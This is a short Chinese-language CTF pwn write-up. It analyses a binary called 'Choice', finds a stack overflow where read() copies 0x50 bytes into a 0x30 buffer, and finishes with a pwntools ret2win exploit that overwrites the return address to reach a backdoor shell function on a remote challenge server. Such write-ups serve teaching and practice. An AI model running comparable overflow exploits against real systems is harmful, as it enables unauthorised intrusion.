这是一道比较常规的PWN题
先来查看一下题目开启了什么保护:
只开启了NX保护
再把文件放入64位IDA分析:
从main()
函数中,可以看出程序给出三个选项分别对应Data1()
、Data2()
和Data3()三个函数
。
接下来我们挨个查看这三个函数查找漏洞点:
先看Data1()
函数虽然存在溢出 ,但溢出距离不足以构造payload
攻击链,不能getshell。
再查看Data2()函数与Data1()情况相同:
再看Data3()
Data3()
函数中有一个read()
函数,可以读取0x50
个字节数据到buf
,而buf
的大小只有0x30
,这里存在明显栈溢出。
Shift+F12查看字符串发现有后门函数shell
接下来解题思路就很简单了:计算溢出偏移量,运行程序输入3进入Data3()
函数,根据偏移量输入占位字符,并覆盖返回地址为Shell()
函数地址,然后getshell。
exp:
from pwn import * r = remote('nc 123.60.135.228',2054) elf = ELF("./Choice") Shell_Addr = 0x004007bd payload = '3' r.sendline(payload) payload1 = (0x30 + 8) * b'a' + p64(Shell_Addr) r.sendline(payload1) r.interactive()